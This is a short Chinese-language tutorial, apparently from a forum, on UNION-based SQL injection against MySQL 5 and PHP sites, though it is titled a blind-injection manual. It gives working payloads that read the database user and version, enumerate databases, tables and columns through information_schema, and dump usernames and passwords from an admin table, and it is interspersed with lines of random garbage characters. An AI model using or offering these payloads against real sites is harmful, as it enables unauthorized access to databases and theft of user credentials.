mysql盲注手册

admin

教程内容:Mysql 5+php 注入


1 z6 D' F: Q/ G( V6 u  `
# Y( H' p8 R1 Q$ `, Q/ ]3 n一.查看MYSQL基本信息(库名,版本,用户)
5 K+ s9 @, ]4 E- j4 d
8 o; @2 L8 }; P( x5 O6 N0 uand 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*

9 w; ^4 Q, F; B) ~+ w1 e( W3 E) U$ r. L二.查数据库
; m5 X' c5 `& B9 u0 n& }: y# E
8 g, S# S7 i: v9 |1 V' |1 `and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
* `- q) h  i) ^8 slimit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

% W0 z  U2 |- H! t3 M- E- ~三.暴表

9 E. J. o, N; {- Gand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
/ |5 z- O2 W& X7 q
四.暴字段

% ~# U9 y. Z, ~" O& @and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*

limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

五.暴数据

and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*

9 X; M1 W% u% m  U* D
: G  p5 O6 o1 M$ v7 Z/ R) ~/ ]这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。